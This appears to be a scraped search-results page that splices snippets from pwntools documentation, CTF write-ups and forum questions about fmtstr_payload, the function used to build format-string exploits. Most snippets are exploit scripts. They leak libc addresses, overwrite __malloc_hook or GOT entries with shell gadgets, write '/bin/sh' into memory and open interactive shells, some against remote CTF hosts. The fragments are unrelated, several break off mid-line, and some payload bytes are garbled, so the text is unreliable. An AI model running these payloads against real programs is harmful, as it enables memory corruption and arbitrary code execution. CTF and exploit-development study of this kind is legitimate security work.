>>> autofmt = FmtStr(exec_fmt) >>> offset = autofmt.offset >>> p = process(program, stderr=PIPE) >>> addr = unpack(p.recv(4)) >>> payload = fmtstr_payload(offset, {addr: 0x1337babe}) >>> p.sendline(payload) >>> print(hex(unpack(p.recv(4)))) 0x1337babe ·

It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from context.bits ... >>> context.clear(arch='amd64') >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int') b'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x0022419374c%1$n972547906c%2$n' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short') b'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00G774c%1$hn"649c%2$hn`617c%3$hn%4$hn' >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte') b'\x00\x00\x00\x0

r"""fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str

July 14, 2020 - Or you can be lazy and use pwntools with the package FmtStr : from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload from pwn import * context.clear(arch = 'amd64') def send_payload(payload): s.sendline(payload) r = s.recvline() s.recvline() return r s = process('./exploitme') ...

Fortunately, pwntool provides a fmtstr exploit generator for you. fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') - offset: the first formatter's offset you control - writes: dict with addr, value {addr: value, addr2: value2} - numbwritten: the number of bytes already written by printf()

Here I used the fmtstr_payload function in pwntools to get the results we hoped for. If you are interested, you can check the official documentation. For example, here fmtstr_payload(7, {puts_got: system_addr}) means that the offset of my format string is 7, I want to write the system_addr address at the puts_got address.

The function signature of `fmtstr_payload` looks like following: ```python fmtstr_payload(offset, {where: what}, write_size=size) ``` `offset` is where in the stack our input lies which in our case would be `6`. `where` is the memory address we want to overwrite and `what` is the value to be written in `where`. `write_size` defines the size of the write which can be either `byte`, `short` or `int`. The default is `byte`. For complete description of the function and its parameters, see the [doc](https://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload).

Pwntools is a powerful library for dealing with format strings, but it might not always work perfectly for every scenario. If you encounter issues with it, consider simplifying your approach and building up the solution manually. Pwntools has useful functions like fmtstr_payload() and leak_stack(), which can be helpful in building your payload.

September 12, 2024 - This takes the function as an argument and attacks it over and over again until it can read it’s own value in the returned data, determining the offset automatically. With the fmtstr_payload() function, we can generate a payload that will write any arbitrary data into any arbitrary address.

from pwn import * context.binary = elf = ELF('./on_the_hook') libc = ELF('./libc.so.6') #p = elf.process() p = remote('ctf.k3rn3l4rmy.com', 2201) p.recvline() def leakat(i, p): p.sendline(f'%{i}$p') rec = p.recvline() leak = str(rec[:-1])[2:-1] log.info(f'@ {i}: {leak}') return leak ret_libc = leakat(27, p) print(ret_libc) libc.address = int(ret_libc,16) - 0x18637 log.success(f'Libc base @ {hex(libc.address)}') log.info(f'malloc hook @ {hex(libc.sym.__malloc_hook)}') one1 = libc.address + 0x3ac5c one2 = libc.address + 0x3ac5e one3 = libc.address + 0x3ac62 one4 = libc.address + 0x3ac69 one5 = libc.address + 0x5fbc5 one6 = libc.address + 0x5fbc6 p.sendline(fmtstr_payload(7,{libc.sym.__malloc_hook:one3})) p.sendline('�999c') p.interactive()

January 4, 2020 - fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen, write_size='byte')

def exec_fmt(payload): p = process([exe.path]) p.sendline(payload) p.sendline() return p.recvall() def main(): autofmt = FmtStr(exec_fmt) offset = autofmt.offset · io = conn() io.recvline() # We offset +1 because of that the data prefixing this is also a printf magic # align 18 for magic # pwntools doesn't really expect you to prefix this with another format string payload1 = fmtstr_payload(offset+1, {exe.symbols['__bss_start']: b'sh'}, numbwritten=18, write_size='short') print(payload1) print('Symbol we look for is', exe.symbols['__bss_start']) io.sendline(b'$lx '+payload1) canary = io.recv

Exit() the only function called after the format string vulnerbaility. So we can just overwrite it with the address of the win() function. We'll use pwntools fmtstr_payload() to create the format write, that overwrites the got address of exit() with the address of win().

Pwntools has a feature for automating %n format string exploits: Copy · from pwn import * payload = fmtstr_payload(offset, {location : value}) Example if the user input offset is 7 and the targeted address is 0x41414141 and the arbitrary chose value is 0x44434241 : Copy ·

from pwn import * conn = remote("35.240.143.82", 4203) context.clear(arch='amd64') payload = fmtstr_payload(0x6, {0x404058: b'/bin/sh'}, write_size='short') conn.wait(1) print("sending" + str(payload)) conn.sendline(payload) print(conn.recv()) conn.sendline("quit") conn.interactive()

April 18, 2018 - def fmt(s): print repr(s) f = FmtStr(fmt, offset=0) f.write(0x080420,0x12345678) f.execute_writes() #result: ' \x04\x08\x00!\x04\x08\x00"\x04\x08\x00#\x04\x08\x004c%0$hhn"2c%1$hhn"2c%2$hhn"2c%3$hhn' some char like '\x00' will terminate the printf!!! better solution is to put address in the tail of the payload!

I also understand that there is a function fmtstr_payload from pwntools, but i first want to develop the payload manually for comprehensive purposes.

May 15, 2021 - Proof of concept (does not work yet due to a separate bug with non-empty badbytes writing at a nonzero address): >>> fmtstr_payload(6, {8: 0x55d15d2004a0}, badbytes=b'\n') b'84c$llnIc$hhnQc$hn�c$hhn�$hhna\x08\x0...

October 31, 2022 - I have tried a lot of ppls code , including pwntools's wiki · from pwn import * def exec_fmt(pad): p = process("/root/Desktop/PwnSubjects/pwn5") p.send(pad) info = p.recv() return info autofmt = FmtStr(exec_fmt) offset = autofmt.offset print("offset ===> ", offset) p = process("/root/Desktop/PwnSubjects/pwn5") bss_ad = 0x0804C044 pad = fmtstr_payload(offset, {bss_ad:1}) p.send(pad) p.recvuntil("your passwd:") p.send("1") p.interactive() elf: pwn5.zip ·

VAL_TO_WRITE = 0x8048618 ADDR = 0x8049868 # Wrapper for vuln binary def exec_fmt(payload): p = process('./vuln_binary') p.sendline(payload) return p.recvall() # Construct payload context.clear(arch = 'i386') payload = fmtstr_payload(FmtStr(exec_fmt).offset, {ADDR: VAL_TO_WRITE}, numbwritten=0, write_size='byte')